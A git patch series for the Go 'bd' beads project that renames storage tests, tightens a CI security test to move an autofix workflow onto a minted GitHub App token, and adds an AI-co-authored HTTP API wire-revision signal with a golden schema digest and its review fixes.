index 000000000..e3040e9eb --- /dev/null +++ b/internal/storage/embeddeddolt/race_detector_on_test.go @@ -0,0 +1,23 @@ +//go:build cgo && race + +package embeddeddolt_test + +// This pair uses `cgo && race` / `cgo && !race`, unlike the plain +// `race`/`!race` pair in internal/workapi and cmd/bd: every consumer of +// raceEnabled in this package (embeddeddolt_test) is itself gated `//go:build +// cgo`, since the embedded backend only builds under cgo at all. Adding the +// matching cgo tag here keeps this file out of non-cgo builds too, where +// raceEnabled would otherwise compile with no consumer and trip an unused +// lint finding in that lane instead of simply being absent. +// +// raceEnabled reports whether the test binary was built with the race +// detector (-race). Wall-clock numbers are unreliable (and, for the embedded +// backend specifically, dramatically inflated) under race instrumentation: +// the in-process Dolt engine's internal goroutine/lock machinery runs +// entirely inside this test binary, so every synchronization point it hits +// is itself instrumented, unlike the Dolt server (TCP) tier where that +// machinery runs in a separate, non-raced subprocess. Timing-sensitive +// measurements consult this flag before running their most expensive case. +// This is a sibling of the pair in internal/workapi and cmd/bd, which solve +// the same problem for their own packages. +const raceEnabled = true diff --git a/internal/storage/schema/schema_test.go b/internal/storage/schema/schema_test.go index 56bcac182..2b10e591a 100644 --- a/internal/storage/schema/schema_test.go +++ b/internal/storage/schema/schema_test.go @@ -242,13 +242,13 @@ func TestCheckNoDuplicateVersionsPanicsWithBothFilenames(t *testing.T) { checkNoDuplicateVersions(files) } -// TestEmbeddedMigrationSourcesHaveNoDuplicateVersions runs discovery over the +// TestGoEmbedMigrationSourcesHaveNoDuplicateVersions runs discovery over the // real embedded migration tree for both sources. list() panics on duplicate // numeric prefixes — at runtime that panic fires at store open, before any // command's RunE, so a duplicate bricks every bd command. Tests that read a // migration's SQL file directly bypass list() and cannot catch this; this // discovery-level check makes the whole failure class fail in CI instead. -func TestEmbeddedMigrationSourcesHaveNoDuplicateVersions(t *testing.T) { +func TestGoEmbedMigrationSourcesHaveNoDuplicateVersions(t *testing.T) { for _, src := range []migrationSource{mainSource, ignoredSource} { files := src.list() // panics on duplicate versions if len(files) == 0 { diff --git a/internal/templates/agents/agents_test.go b/internal/templates/agents/agents_test.go index 3f394a8ae..0c7e1c6b1 100644 --- a/internal/templates/agents/agents_test.go +++ b/internal/templates/agents/agents_test.go @@ -5,7 +5,7 @@ import ( "testing" ) -func TestEmbeddedDefault(t *testing.T) { +func TestGoEmbedDefault(t *testing.T) { content := EmbeddedDefault() if content == "" { @@ -28,13 +28,13 @@ func TestEmbeddedDefault(t *testing.T) { } } -// TestEmbeddedDefaultArchitectureSummary guards GH#3683: agents reading the +// TestGoEmbedDefaultArchitectureSummary guards GH#3683: agents reading the // generated AGENTS.md need an architecture statement at the top so they don't // build wrong mental models (treating JSONL as source of truth, manually // running bd import, etc.) and have to discover the four deeper architecture // docs the hard way. The summary must appear before the Quick Reference and // link to the canonical sync-concepts entry-point. -func TestEmbeddedDefaultArchitectureSummary(t *testing.T) { +func TestGoEmbedDefaultArchitectureSummary(t *testing.T) { content := EmbeddedDefault() required := []string{ @@ -59,7 +59,7 @@ func TestEmbeddedDefaultArchitectureSummary(t *testing.T) { } } -func TestEmbeddedBeadsSection(t *testing.T) { +func TestGoEmbedBeadsSection(t *testing.T) { section := EmbeddedBeadsSection() if section == "" { @@ -113,7 +113,7 @@ func TestDefaultContainsBothSections(t *testing.T) { } } -func TestEmbeddedDefaultManagedMarkerIsCurrent(t *testing.T) { +func TestGoEmbedDefaultManagedMarkerIsCurrent(t *testing.T) { content := EmbeddedDefault() idx := strings.Index(content, "") || !strings.Contains(res.log, "Pushed `") || - !strings.Contains(res.log, "DOCS_AUTOFIX_TOKEN") { + !strings.Contains(res.log, "gastownhall-autofix App token") { t.Errorf("want a pushed-commit comment with the token note:\n%s", res.log) } if strings.Contains(res.log, "push-token") { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5565102fc..b1b9c6d76 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2221,20 +2221,21 @@ type ciWorkflow struct { } type ciWorkflowJob struct { - Name string `yaml:"name"` - Uses string `yaml:"uses"` - With map[string]string `yaml:"with"` - Secrets any `yaml:"secrets"` - Permissions any `yaml:"permissions"` - Needs ciWorkflowStringList `yaml:"needs"` - Steps []ciWorkflowStep `yaml:"steps"` - RunsOn string `yaml:"runs-on"` - If string `yaml:"if"` - ContinueOnError bool `yaml:"continue-on-error"` - TimeoutMinutes int `yaml:"timeout-minutes"` - Strategy ciWorkflowStrategy `yaml:"strategy"` - Env map[string]string `yaml:"env"` - Outputs map[string]string `yaml:"outputs"` + Name string `yaml:"name"` + Uses string `yaml:"uses"` + With map[string]string `yaml:"with"` + Secrets any `yaml:"secrets"` + Permissions any `yaml:"permissions"` + Needs ciWorkflowStringList `yaml:"needs"` + Steps []ciWorkflowStep `yaml:"steps"` + RunsOn string `yaml:"runs-on"` + If string `yaml:"if"` + ContinueOnError bool `yaml:"continue-on-error"` + TimeoutMinutes int `yaml:"timeout-minutes"` + Strategy ciWorkflowStrategy `yaml:"strategy"` + Env map[string]string `yaml:"env"` + Outputs map[string]string `yaml:"outputs"` + Environment ciWorkflowEnvironment `yaml:"environment"` } type ciWorkflowStrategy struct { @@ -2538,6 +2539,9 @@ const ( uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" checkoutSHA = "3d3c42e5aac5ba805825da76410c181273ba90b1" + // Same SHA/comment already used in this repo for this action (rbe- + // prewarm's mint step, update-flake-lock.yml). + appTokenActionSHA = "bcd2ba49218906704ab6c1aa796996da409d3eb1" bazelCacheKeyPrefix = "bazel-repo-v3-${{ runner.os }}-" bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}" bazelCachePath = "${{ runner.temp }}/bazel-ci-cache" @@ -6222,18 +6226,46 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { if job.TimeoutMinutes == 0 { t.Error("autofix job has no timeout-minutes") } + // The App private key is a secret of this environment; its deployment- + // branch policy (configured outside this repo) is what actually + // restricts reading it to jobs running on main. + if job.Environment.Name != "autofix" { + t.Errorf("autofix job environment = %q, want %q", job.Environment.Name, "autofix") + } var checkouts int for _, step := range job.Steps { if step.Uses != "" { family, sha, _ := strings.Cut(step.Uses, "@") - if family != "actions/checkout" || sha != checkoutSHA { - t.Errorf("step %q uses %q; only actions/checkout@%s is allowed", step.Name, step.Uses, checkoutSHA) + switch family { + case "actions/checkout": + if sha != checkoutSHA { + t.Errorf("step %q uses %q; only actions/checkout@%s is allowed", step.Name, step.Uses, checkoutSHA) + } + if !reflect.DeepEqual(step.With, map[string]string{"persist-credentials": "false"}) { + t.Errorf("checkout has with %v; want only persist-credentials: false (base default branch, never a PR ref, no token on disk)", step.With) + } + checkouts++ + case "actions/create-github-app-token": + if want := appTokenActionSHA; sha != want { + t.Errorf("step %q uses %q; want actions/create-github-app-token@%s", step.Name, step.Uses, want) + } + if step.If != "github.event.workflow_run.head_repository.full_name == github.repository" { + t.Errorf("app-token step if = %q, want the same-repo check (no token we hold can push to a fork)", step.If) + } + want := map[string]string{ + "app-id": "${{ secrets.AUTOFIX_APP_ID }}", + "private-key": "${{ secrets.AUTOFIX_APP_PRIVATE_KEY }}", + "owner": "${{ github.repository_owner }}", + "repositories": "${{ github.event.repository.name }}", + "permission-contents": "write", + } + if !reflect.DeepEqual(step.With, want) { + t.Errorf("app-token step with = %v, want %v", step.With, want) + } + default: + t.Errorf("step %q uses %q; only actions/checkout@%s or actions/create-github-app-token@%s is allowed", step.Name, step.Uses, checkoutSHA, appTokenActionSHA) } - if !reflect.DeepEqual(step.With, map[string]string{"persist-credentials": "false"}) { - t.Errorf("checkout has with %v; want only persist-credentials: false (base default branch, never a PR ref, no token on disk)", step.With) - } - checkouts++ } // Event fields (branch names, commit messages) are attacker text: // pass them through env, never interpolate them into a script. @@ -6247,7 +6279,11 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { if checkouts != 1 { t.Errorf("want exactly one checkout step, got %d", checkouts) } + appToken := job.step(t, "Mint autofix app token") push := job.step(t, "Push sync commit or leave apply recipe") + if job.stepIndex(t, appToken.Name) >= job.stepIndex(t, push.Name) { + t.Errorf("%q must run before %q", appToken.Name, push.Name) + } if strings.TrimSpace(push.Run) != "./"+bazelAutofixPushScript { t.Errorf("push step run = %q, want ./%s", push.Run, bazelAutofixPushScript) } @@ -6261,21 +6297,27 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { "HEAD_BRANCH": "${{ github.event.workflow_run.head_branch }}", "HEAD_SHA": "${{ github.event.workflow_run.head_sha }}", "GH_TOKEN": "${{ github.token }}", - "PUSH_TOKEN": "${{ secrets.DOCS_AUTOFIX_TOKEN || github.token }}", - "AUTOFIX_TOKEN_KIND": "${{ secrets.DOCS_AUTOFIX_TOKEN && 'pat' || 'default' }}", + "PUSH_TOKEN": "${{ steps.app-token.outputs.token || github.token }}", + "AUTOFIX_TOKEN_KIND": "${{ steps.app-token.outputs.token && 'app' || 'default' }}", } { if got := push.Env[key]; got != want { t.Errorf("push step env %s = %q, want %q", key, got, want) } } + // PUSH_TOKEN must never be fed by anything a PR controls: only the + // app-token step's output (itself minted from environment secrets) or + // the workflow's own token. + if regexp.MustCompile(`\bgithub\.event\.(workflow_run|pull_request)\b`).MatchString(push.Env["PUSH_TOKEN"]) { + t.Errorf("push step env PUSH_TOKEN = %q reads a PR-controlled event field", push.Env["PUSH_TOKEN"]) + } - // Secrets: only the push step's PUSH_TOKEN / AUTOFIX_TOKEN_KIND, and only - // the docs autofix token that this workflow shares. - pushIndex := job.stepIndex(t, push.Name) + // Secrets: only the app-token step's app-id/private-key, and only the + // autofix App credentials this workflow shares. + appTokenIndex := job.stepIndex(t, appToken.Name) secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) allowed := map[string]bool{ - fmt.Sprintf(".jobs.autofix.steps[%d].env.PUSH_TOKEN", pushIndex): true, - fmt.Sprintf(".jobs.autofix.steps[%d].env.AUTOFIX_TOKEN_KIND", pushIndex): true, + fmt.Sprintf(".jobs.autofix.steps[%d].with.app-id", appTokenIndex): true, + fmt.Sprintf(".jobs.autofix.steps[%d].with.private-key", appTokenIndex): true, } walkYAML(root, "", func(path string, key bool, value string) { if key || !secretRef.MatchString(value) { @@ -6288,8 +6330,8 @@ func TestBazelAutofixWorkflowSecurity(t *testing.T) { t.Errorf("%s: %s uses a non-literal secrets reference", bazelAutofixWorkflowName, path) } else { for _, ref := range refs { - if ref[1] != "DOCS_AUTOFIX_TOKEN" { - t.Errorf("%s: %s reads secret %s; only DOCS_AUTOFIX_TOKEN is shared with this workflow", bazelAutofixWorkflowName, path, ref[1]) + if ref[1] != "AUTOFIX_APP_ID" && ref[1] != "AUTOFIX_APP_PRIVATE_KEY" { + t.Errorf("%s: %s reads secret %s; only AUTOFIX_APP_ID / AUTOFIX_APP_PRIVATE_KEY are shared with this workflow", bazelAutofixWorkflowName, path, ref[1]) } } } @@ -6743,3 +6785,27 @@ func TestBazelCmdDoltJob(t *testing.T) { } } } + +// ciWorkflowEnvironment is a job's environment, written either as a bare name +// (environment: autofix) or as a mapping (environment: {name: github-pages, +// url: ...}, deploy-pages-redirect.yml). +type ciWorkflowEnvironment struct { + Name string + URL string +} + +func (e *ciWorkflowEnvironment) UnmarshalYAML(value *yaml.Node) error { + if value.Kind == yaml.ScalarNode { + e.Name = value.Value + return nil + } + var m struct { + Name string `yaml:"name"` + URL string `yaml:"url"` + } + if err := value.Decode(&m); err != nil { + return err + } + e.Name, e.URL = m.Name, m.URL + return nil +} diff --git a/scripts/docs-autofix-push.sh b/scripts/docs-autofix-push.sh index 8f7cebe66..5d47ed555 100755 --- a/scripts/docs-autofix-push.sh +++ b/scripts/docs-autofix-push.sh @@ -32,12 +32,13 @@ # RUN_ID workflow run id that produced the patch (for comment text) # RUN_URL html url of that run (for commit/comment provenance) # GH_TOKEN token for gh api calls (PR lookup, comments) - needs the -# workflow's pull-requests:write; never the PAT +# workflow's pull-requests:write; never the App token # PUSH_TOKEN token for git fetch/push only (optional; defaults to -# GH_TOKEN), so a dedicated DOCS_AUTOFIX_TOKEN needs -# contents:write only -# AUTOFIX_TOKEN_KIND "pat" when a dedicated push token is in use, "default" -# for the workflow's GITHUB_TOKEN (retrigger caveat) +# GH_TOKEN), so the minted gastownhall-autofix App token +# needs contents:write only +# AUTOFIX_TOKEN_KIND "app" when the minted App push token is in use, +# "default" for the workflow's GITHUB_TOKEN (retrigger +# caveat) # # Exit 0 on every non-actionable outcome (PR closed, head moved, no patch); # exit 1 on a refused patch or a genuine error so the workflow surfaces them. @@ -378,7 +379,7 @@ EOF if [ "$AUTOFIX_TOKEN_KIND" = "default" ]; then cat >> "$BODY" <<'EOF' -Note: this commit was pushed with the default workflow token, which does **not** retrigger PR checks - re-run them (or push any commit) to refresh the gate. Configuring a `DOCS_AUTOFIX_TOKEN` repo secret removes this step. +Note: this commit was pushed with the default workflow token, which does **not** retrigger PR checks - re-run them (or push any commit) to refresh the gate. This only happens if the gastownhall-autofix App token could not be minted for this push. EOF fi post_or_update_comment "$BODY" From 5439be97bae999a4dd2a07a276aab8cf271e5573 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 4 Oct 2026 22:29:12 -0700 Subject: [PATCH 092/325] =?UTF-8?q?feat(httpapi):=20wire-shape=20signal=20?= =?UTF-8?q?=E2=80=94=20wire=5Frevision,=20client=20floor,=20golden=20shape?= =?UTF-8?q?=20digest,=20param=20tokens=20(#7182)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpapi): wire-shape signal — wire_revision, floor header, golden digest, param tokens S0 of the HTTP role-parity program: give a client a single place to learn whether this build's wire shape has moved under it, and give CI a gate that catches an undocumented move. - GET /v0/beads/context reports wire_revision (bumps only on a non-additive response-shape change) and min_client_wire_revision. An optional Bd-Wire-Revision request header lets a client declare the revision it was built for; checkWireRevision refuses a declared revision below the floor with 400 invalid_argument/reason=wire_revision_unsupported and a min_wire_revision field, on every route but /healthz (wireRevisionExempt) — including the identity handshake, where catching the mismatch is cheapest. Absent header is today's behavior; malformed value is invalid_value, never wire_revision_unsupported. The floor lives in Server.minClientWireRevision (defaulting to the MinClientWireRevision constant) so a test can raise it. - internal/httpapi/wireshape: a golden digest over every response's every content-type schema (including application/problem+json) across the whole spec, keyed by schema+member. TestWireShapeDigest fails closed when a member's JSON name or type changes without wire_revision bumping to match; regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`. - GET /v0/beads/issues' `sort` parameter now carries the issues.listSort capability token, the same convention `capabilities` entries use. TestNewParameterOnExistingOperationHasABehaviorToken requires every new parameter on an existing operation to carry one, checked against a write-once grandfather baseline (testdata/pretoken_parameters.json) of parameters that predate the rule; TestUntokenedParameterRuleFires proves the checker itself against a synthetic fixture. - Docs: engdocs/design/bd-serve-v0.md gets a "The wire-shape signal" section; CHANGELOG.md gets an Added entry. Live-mutated and reverted three RED demonstrations during development: retyping api_version in the spec failed TestWireShapeDigest; short-circuiting checkWireRevision's floor comparison failed TestWireRevisionBelowFloorRefusesEveryEnforcedRoute; adding an untokened query parameter to listIssues failed TestNewParameterOnExistingOperationHasABehaviorToken. All three now pass against the unmutated tree. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): rename issues.listSort to issues.list.sort, harden token rule Opus review of 12c5144ca (HIGH-1, MEDIUM-5): - Rename the capability token issues.listSort -> issues.list.sort to match bd-enterprise's client (httpstore/wire/handshake.go:121, DESIGN.txt S4e), and widen capabilityToken to accept an optional third segment. - untokenedParameters() now requires the extracted token to be one Capabilities() actually serves, not just backtick-shaped text. This catches real false positives that existed in the spec already (workapi.DefaultReadyLimit, status.custom) which only shape-matched the old regex; they're added to the pretoken baseline as genuinely pre-existing untokened parameters. - Extend the rule to request body members (new testdata/pretoken_request_body_members.json baseline) and exempt brand-new operations via a frozen testdata/pretoken_operations.json snapshot. - Add TestPretokenBaselinesNeverGrow pinning all three baseline sizes so a future change can't hand-add an exemption instead of a token. - Update spec prose for the widened rule scope. go test ./internal/httpapi/... and the reviewer's pmut.py all pass as expected: plain/bogus modes go RED, reuse (real-but-unrelated token) stays green, matching the review's literal ask ("a token must be one advertised by Capabilities()"). Co-Authored-By: Claude Sonnet 5 * fix(wireshape): close four digest-coverage gaps, add gendigest write guard Opus review of 12c5144ca (HIGH-2, MEDIUM-4). The digest only tracked Type/Format/Enum/Required on direct properties, missing: - nullable: true (never read at all) - array item shape (Issue.labels items string->integer was invisible; only object-shaped items got recursed into) - additionalProperties value shape (IssueCount.groups) - request bodies entirely (Compute() only walked responses, so DeleteIssuesRequest.expected_version string->integer, the other half of #6053, was invisible) Also added defensive oneOf flattening alongside the existing allOf merge (dormant today -- grep confirms this spec uses oneOf nowhere -- but no longer silently invisible if that changes). Extracted the golden-vs-computed comparison into wireshape.Compare(), shared by TestWireShapeDigest and the new wireshape.SafeToWrite(), which gendigest now calls before writing: it refuses to overwrite golden.json with changed/removed entries unless the candidate's wire_revision is strictly greater than the existing golden's. Pure additions always write. TestSafeToWrite exercises both guard directions. golden.json is regenerated. This single regen is a one-time exception to the new guard, done by writing the digest directly rather than through gendigest: confirmed via a throwaway diff (not checked in) that every one of the 57 "changed" entries differs only in the NEW fields the wider walk now populates (ItemType/ItemFormat/Nullable/AdditionalProps*) -- every pre-existing Type/Format/Required/Enum value is byte-identical. Nothing on the wire changed; the measurement got more precise. Bumping CurrentWireRevision for this would have written a false "the protocol changed here" entry into the revision history table. Going forward, any REAL change the guard now reports uses the normal bump-then-regenerate path, same as before. Verified against the reviewer's mut.py: nested_type, nullable, nullable_issue, array_items, addlprops, request_body and format all go RED on TestWireShapeDigest, each reverted after confirming. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): make bd_version wire_revision inference advisory Opus review of 12c5144ca (HIGH-3). The spec told a client inferring wire_revision from bd_version to use the release cutoff >= 1.3.0, and said nothing about what happens when that inference is wrong -- which it demonstrably is for real builds already in the field: - main builds up to commit b3ef65c85 report bd_version 1.2.2 (below any 1.3.0 cutoff) while already sending the string-typed revision/ expected_version shape (#6053). - 1.3.0-rc.N pre-release builds sort BELOW the release cutoff 1.3.0 under plain string comparison despite already carrying the string shape. - The bd-enterprise compatibility line at d3ab32773462 reports bd_version 1.1.0 while also sending strings. Moved the cutoff to >= 1.3.0-rc.1 (compared as semver-with-prerelease, which at least captures the rc builds), documented both named exceptions inline, and made the whole inference explicitly ADVISORY: a client must accept revision/expected_version as either a string or a number whenever wire_revision is absent (or probe directly) rather than let the inferred value choose a decoder, and must never refuse solely because the inferred revision is 0. Mirrored into engdocs/design/bd-serve-v0.md. This is spec/doc prose only -- there is no server-side inference code to change, since this server always sends wire_revision directly; the inference is guidance for clients reading a pre-signal server's response (this server, past builds, or an unrelated implementation). Co-Authored-By: Claude Sonnet 5 * fix(httpapi): LOW-7/8/9/10 review follow-ups for wire-revision signal LOW-7: WireRevisionUnsupported now also sets Problem.wire_revision (this server's CurrentWireRevision) and Problem.bd_version on the wire_revision_unsupported refusal, alongside the existing min_wire_revision, so a client logging the refusal has this server's full self-description without a second /v0/beads/context call. LOW-8: gazelle + make bazel-sync add the BUILD.bazel entries the prior commits were missing: wire_revision.go/wire_revision_test.go in internal/httpapi's srcs, new BUILD.bazel files for wireshape and wireshape/cmd/gendigest, and a testdata glob on httpapi's go_test so the pretoken_*.json baselines are visible under `bazel test`. Verified with `bazel build //internal/httpapi/...` and `bazel test //internal/httpapi/... --test_env=BEADS_TEST_SKIP=dolt` (both green) and `python3 tools/bazel/go_srcs.py --check` (clean). LOW-9: narrowed CHANGELOG.md and engdocs/design/bd-serve-v0.md to describe the digest's actual final coverage (format/enum/required/ nullable, array items, additionalProperties, request bodies, $ref/ allOf/oneOf recursion, the SafeToWrite revision-bump guard) and the token rule's actual final shape (three pinned baselines, request-body members, Capabilities()-membership validation, new-operation exemption) instead of the original, narrower claims. LOW-10: Bd-Wire-Revision now parses via a strict decimal-only parseStrictNonNegativeInt (no leading '+', no leading zero except a bare "0") instead of strconv.Atoi alone, so two different header bytes can no longer name the same revision. New malformed-header test cases: "+1", "01", "007". Regenerated apigen/types.gen.go (make api-gen) for the new Problem fields and wireshape/testdata/golden.json (go run .../wireshape/cmd/gendigest) for the two new additive Problem members; the latter wrote cleanly through SafeToWrite itself, since both are pure additions. go test ./... and bazel test //internal/httpapi/... both green. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): re-review LOW follow-ups — retirement test, gendigest -init, docs 1. TestRetiredRevisionsStayBelowTheFloor pins the PRESENCE guarantee the wire_revision property doc relies on: CurrentWireRevision >= 2 (so 0 and 1 stay permanently retired) and MinClientWireRevision <= CurrentWireRevision (so this build's own floor never refuses every request against itself). 2. gendigest now refuses to create a golden.json that does not exist yet unless run with -init. Previously a missing file (moved testdata, wrong path, accidental delete) was indistinguishable from a real first run and silently wrote a fresh golden with no revision history checked against anything. writeGolden() is extracted out of main() so this is covered directly: TestWriteGoldenRequiresInitWhenMissing, TestWriteGoldenInitCreatesWhenMissing, TestWriteGoldenIgnoresInitWhenGoldenExists (the existing-golden path is still governed only by SafeToWrite, -init or not). 3. Narrowed the two remaining stale claims that still described the digest's original, narrower coverage: the wire_revision property's prose in openapi.v0.yaml (regenerated into apigen/types.gen.go via make api-gen) and wireshape/doc.go now both list nullable, array item shape, additionalProperties value shape, request bodies, and $ref/allOf/oneOf recursion, plus the new -init guard. go test ./internal/httpapi/... and make api-check both green; bazel test //internal/httpapi/... (httpapi, wireshape, and the new gendigest test target) green; python3 tools/bazel/go_srcs.py --check clean. Co-Authored-By: Claude Sonnet 5 * feat(wireshape): cover operation parameters in the wire-shape digest The digest previously walked only response and request-body schemas, so a type, enum, required, or removal change on one of the spec's 138 operation parameters (123 query, 14 path, 1 header) passed the gate silently — the open item from PR review on #7182. Each parameter is now recorded as its own Entry, keyed by "param:"+operationId / location+":"+name (operation-scoped, not schema-scoped, since two operations' same-named parameter are independent wire contracts), capturing type, array item shape, enum, required, style, explode and default. Adding a parameter stays additive; removing, retyping, narrowing its enum, or changing required/style/explode/default now trips SafeToWrite exactly like a response or request-body change. Verified against the live spec: retyping listIssues' `limit` query parameter from integer to string now fails TestWireShapeDigest (confirmed red, then reverted — not part of this commit). golden.json regenerated via gendigest; the new parameter entries are a pure addition, no wire_revision bump needed. Added TestParameterMutationsAreCaught (remove/retype/narrow- enum against real golden entries) and updated wireshape's doc.go, the `wire_revision` spec prose, and the CHANGELOG to describe the new coverage. Co-Authored-By: Claude Sonnet 5 * fix(wireshape): review fixes — stale-golden and lowered-revision arms, effective param serialization, digest boundary Maintainer fixup from the adopt-pr review loop (iterations 1 and 2), on top of e17ba924f. - goldenDrift (A, I): TestWireShapeDigest's comparison moves into a goldenDrift helper. An addition alongside a moved wire_revision no longer passes with a stale golden: it asks for a regenerate, as a changed or removed entry after a bump already did. Every message now names response/request-body members AND parameters, and TestGoldenDrift pins each arm. This takes only the test half of the stranded fixup (adopt-pr/bd-47kdge/stranded-fixup-528cd6095); its doc half, which says parameters are outside the digest, is false since e17ba924f and is not replayed (J). - Lowered wire_revision (D): a CurrentWireRevision LOWER than the golden's is a wrong constant, not a stale golden, so goldenDrift says to restore it instead of regenerating, and SafeToWrite (so gendigest) refuses any write at a lower revision, whatever the entries. - Effective style/explode (B): walkParam records style and explode with OpenAPI 3.0's defaults filled in (form for query/cookie, simple for path/header; explode defaults to style == form). Adding `explode: false` to a query array that relied on form's implicit explode is now a changed entry, while spelling out a default changes nothing. testdata/golden.json is regenerated with -init: 111 parameter entries change only in style/explode (96 to form/true, 15 to simple), 828 entries before and after, wire_revision stays 2. The golden is new in this PR and unreleased, so this needs no bump. - TestWalkParam (H): a package-internal table test (wireshape_internal_test.go) pins every field walkParam extracts, through a computeFrom(document, revision) seam that Compute now wraps: per-location defaults, $ref'd parameters and items, format, nullable and default, content parameters, and the nil returns. TestEffectiveSerializationIsCompared pins B end to end through Compare and SafeToWrite. BUILD.bazel embeds the library in the go_test, which is gazelle's own output. - Required inputs and the digest boundary (C, E, F; docs only): all five prose surfaces (openapi.v0.yaml's wire_revision description and the regenerated apigen/types.gen.go, wireshape/doc.go, CHANGELOG.md, engdocs/design/bd-serve-v0.md) now say that a new REQUIRED request input is recorded as an ordinary addition and needs its own review, that value constraints and member-level composition are outside the digest, and that object and content parameters are recorded only as their container. bd-serve-v0.md also gains the parameter coverage it was missing. - G: a brand-new operation is permanently exempt from the capability-token rule; its own review decides its capability story. - Iteration 2 (nit): walkParam's comment now says that the location default it records as a `content` parameter's style and explode is a placeholder, since OpenAPI 3.0 applies style and explode only to a parameter described by `schema`. All 138 operation parameters in the spec use `schema`, so the golden does not change. Validated: go test ./internal/httpapi/... (gms_pure_go), make api-check, go vet for linux/windows/darwin, gofmt, git diff --check, gazelle on the package (no drift), make bazel-sync-check, and bazel test //internal/httpapi/wireshape/... in the local processwrapper sandbox (2 of 2 pass). Overlay mutation probes: dropping the added-after-bump arm, the lowered-revision arm, SafeToWrite's lowered check, or the effective-default fill each turns the new tests red. Iteration 2 changes only that comment; go test ./internal/httpapi/wireshape/... (gms_pure_go), go vet, gofmt and git diff --check pass again. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 --- CHANGELOG.md | 48 + engdocs/design/bd-serve-v0.md | 124 + internal/httpapi/BUILD.bazel | 4 +- internal/httpapi/apigen/types.gen.go | 59 +- internal/httpapi/handlers.go | 8 +- internal/httpapi/problem.go | 40 + internal/httpapi/routes.go | 38 +- internal/httpapi/server.go | 32 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 271 +- internal/httpapi/spec_parity_test.go | 419 +- .../httpapi/testdata/pretoken_operations.json | 43 + .../httpapi/testdata/pretoken_parameters.json | 195 + .../pretoken_request_body_members.json | 123 + internal/httpapi/wire_revision.go | 99 + internal/httpapi/wire_revision_test.go | 252 + internal/httpapi/wireshape/BUILD.bazel | 26 + .../wireshape/cmd/gendigest/BUILD.bazel | 25 + .../httpapi/wireshape/cmd/gendigest/main.go | 103 + .../wireshape/cmd/gendigest/main_test.go | 71 + internal/httpapi/wireshape/doc.go | 54 + .../httpapi/wireshape/testdata/golden.json | 5537 +++++++++++++++++ internal/httpapi/wireshape/wireshape.go | 626 ++ .../wireshape/wireshape_internal_test.go | 155 + internal/httpapi/wireshape/wireshape_test.go | 371 ++ 25 files changed, 8689 insertions(+), 36 deletions(-) create mode 100644 internal/httpapi/testdata/pretoken_operations.json create mode 100644 internal/httpapi/testdata/pretoken_parameters.json create mode 100644 internal/httpapi/testdata/pretoken_request_body_members.json create mode 100644 internal/httpapi/wire_revision.go create mode 100644 internal/httpapi/wire_revision_test.go create mode 100644 internal/httpapi/wireshape/BUILD.bazel create mode 100644 internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel create mode 100644 internal/httpapi/wireshape/cmd/gendigest/main.go create mode 100644 internal/httpapi/wireshape/cmd/gendigest/main_test.go create mode 100644 internal/httpapi/wireshape/doc.go create mode 100644 internal/httpapi/wireshape/testdata/golden.json create mode 100644 internal/httpapi/wireshape/wireshape.go create mode 100644 internal/httpapi/wireshape/wireshape_internal_test.go create mode 100644 internal/httpapi/wireshape/wireshape_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 6d809cba9..380d4c8a9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,54 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 recognizes a registered remote backend (`backends.IsRemote`) before any Dolt-mode check, so a remote-backend workspace is never misclassified as having a local Dolt root to gate. +- `bd serve`'s `GET /v0/beads/context` now reports `wire_revision` (the + non-additive wire-shape counter for this build) and + `min_client_wire_revision` (the oldest revision this build still answers + correctly). A client may declare the revision it was built for on any + request via the optional `Bd-Wire-Revision` header (a plain non-negative + decimal — no leading `+` or leading zero); a declared revision below + `min_client_wire_revision` is refused with `400 invalid_argument`/`reason: + "wire_revision_unsupported"` and `min_wire_revision`, `wire_revision`, and + `bd_version` fields naming this server's floor, current revision, and + release string. The header is absent by default and an absent header is + served exactly as before — this is additive, not a new precondition on + existing clients. A client with no `wire_revision` signal to read yet may + infer one from `bd_version` only as an ADVISORY hint (string-or-number, + never a refusal on an inferred `0`) — see the `wire_revision` property's + inference notes in `internal/httpapi/spec/openapi.v0.yaml` for the cutoff + and known-exception builds. See `internal/httpapi/wire_revision.go` and + that same property for the full revision history. +- `GET /v0/beads/issues`'s `sort` parameter now advertises the + `issues.list.sort` capability token, the same way an operation itself + does, and a CI rule + (`TestNewParameterOnExistingOperationHasABehaviorToken`) requires every + new parameter on an existing operation, or new request body member on an + existing operation, to carry a token that `Capabilities()` actually + advertises (not just backticked `a.b` text shaped like one). Three frozen + baselines (`internal/httpapi/testdata/pretoken_*.json`) grandfather what + predates the rule and are pinned never to grow + (`TestPretokenBaselinesNeverGrow`); a brand-new operation is permanently + exempt — its own review decides its capability story. +- A CI golden digest (`internal/httpapi/wireshape`) pins the JSON name, + type, format, enum, required-ness, and nullability of every EXISTING + response AND request-body member across the whole HTTP spec — including + array item shape and `additionalProperties` value shape — recursing + through `$ref` and through a schema's own `allOf` or `oneOf`, and fails if + any changes without `wire_revision` bumping to match; + `go run ./internal/httpapi/wireshape/cmd/gendigest` refuses to write a + changed or removed entry unless `wire_revision` has moved past what the + existing golden recorded, and refuses any write at a lower + `wire_revision` (purely additive entries otherwise always write). The + 